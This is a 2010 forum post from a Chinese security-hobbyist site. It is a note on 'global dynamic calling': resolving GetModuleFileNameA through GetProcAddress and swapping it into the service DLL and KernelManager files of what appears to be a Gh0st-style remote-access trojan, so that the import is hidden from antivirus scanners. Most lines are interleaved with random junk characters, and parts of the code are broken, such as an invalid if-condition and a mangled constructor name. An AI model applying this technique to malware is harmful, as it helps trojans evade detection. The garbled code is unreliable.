Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记/ F9 K' r+ h8 `: x
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
8 f8 i! e: h' F1 c% l3 }----------------------------------------
' O4 H& m- u' o9 l' VDTDY.h:
, z* W& h3 A3 r3 W" Z% r" y2 H& x3 ^! h& ?
#if _MSC_VER>1000
8 m! Z5 C7 N) a6 [#pragma once
$ O' ?. `3 ^6 O/ o$ k#endif //_MSC_VER>1000
& ^( S3 Z/ `. l# [8 ?0 p#include<windows.h>
- ]" Q3 Q" S( i5 s
% f5 Q' _  A5 c. Atypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);! J2 R5 E4 X* f9 M" `
class DTDY
& o' z1 }8 K1 I! J  F7 K{
9 G- D3 K* Q  u- i! u* e3 @& Mpublic:
1 T( B" Z) R7 I- V& \' qDTDY();
3 e- D6 a' V/ A* evirtual ~DTDY();
- e; G7 }- K) S0 @  xpublic:0 |( I) z$ o6 o
static pGetModuleFileNameA MyGetModuleFileName;+ l9 e: S( j; k# m
static BOOL FunInitiallization();
* \: U  W2 ]0 @# c  h};+ ~. w* Z0 z' S1 V% b! ]% T
#endif
6 E- A* m$ V$ H& \" L----------------------------------------" y$ ~" W$ W$ C8 M
8 R. q7 W( J: m0 n; C
DTDY.cpp:
3 w7 U( T+ l9 s% r1 _# M2 A+ ?/ [- }' A1 p" O5 n; T' p
#include "DTDY.h"4 P; n3 [( X- o6 X% w0 ~' m
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
0 Z3 J% m& e: {  B( k  {& EDTDY:TDY()
0 l" |3 ]# z1 a0 C{
# t$ ]- \  ?$ r1 m% o# [) e& O- b, R* W}
5 W) `& h# y: R* V* L  Q9 E9 eDTDY::~DTDY()
4 a# W# N- p( F9 o{' I3 N$ r" ]* o5 i6 P- {
}
4 _4 W, z% E' f4 c% mBOOL DTDY::FunInitiallization()
! D4 q& P! _) ]{+ t. n) Q( ?* q: B5 ?, T# V
HMODULE hModule=LoadLibrary("kernel32.dll");* r9 g4 U* t+ a5 k& |$ y0 j" p' w
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
3 g5 z7 Z1 @, S4 e% C) o, F* b9 D0 I# rif(!MyGetModuleFileName=) return FALSE;
# @6 b, i& Z1 d# ?- G# Z3 Q6 Y6 L; G& O
return TRUE;5 ?  i4 Q* ]- m4 C+ k& f3 W  l
}5 C/ j3 G6 A; @# u8 T- O9 ]3 O% g, u
----------------------------------------( F9 r. I! h) u; T
svchost.cpp:
# a2 c5 s' ~% c1 Z* B. I
0 ]& {" X% Z- h# ~' M7 J( Y#include "DTDY.h"
* R/ ?8 W+ G6 p+ M4 `2 H( K1 c2 n% v
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)5 M6 P0 [" x! X6 \. n5 T
{0 W3 l! c/ m6 Z- o) \+ M
switch(ul_reason_for_call)  [$ k0 ?1 q: u) C
{
. y! m/ ~# m+ t/ a& t' Ocase DLL_PROCESS_ATTACH:' y- `2 D5 T8 ]  f0 f
if(!DTDY::FunInitiallization()) return FALSE;
: Q% }6 n$ O* e; j2 I0 R: [
& J/ k- n2 |. m' q" W" Ubreak;1 m8 ], ~, [4 P
}; R$ e7 e/ a+ a3 A* p
}
5 m6 f1 W8 u6 K. b5 W$ r$ v2 p4 E+ ~2 @4 y7 W* D
7 _" R' y3 ]( U# ^
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
: E3 r5 w- Y; l* x1 }改写为
$ F7 \7 c+ B: a* bDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));) d/ m' J* r' F5 q2 R
----------------------------------------
- g& A* Z$ R$ p- g" N8 |+ S( tKernelManager.cpp:( y$ M4 R8 t  `# {) Q
5 d( f8 ~" p4 n! f- ]* l5 b5 q
#include "../DTDY.h"7 B. N  @9 i! l: c
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) f- _  i1 C; G- i" L
改写为) X) z+ t% H: }) [4 A
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
+ W# J3 J/ j& b, `' ~7 R+ ~! w----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2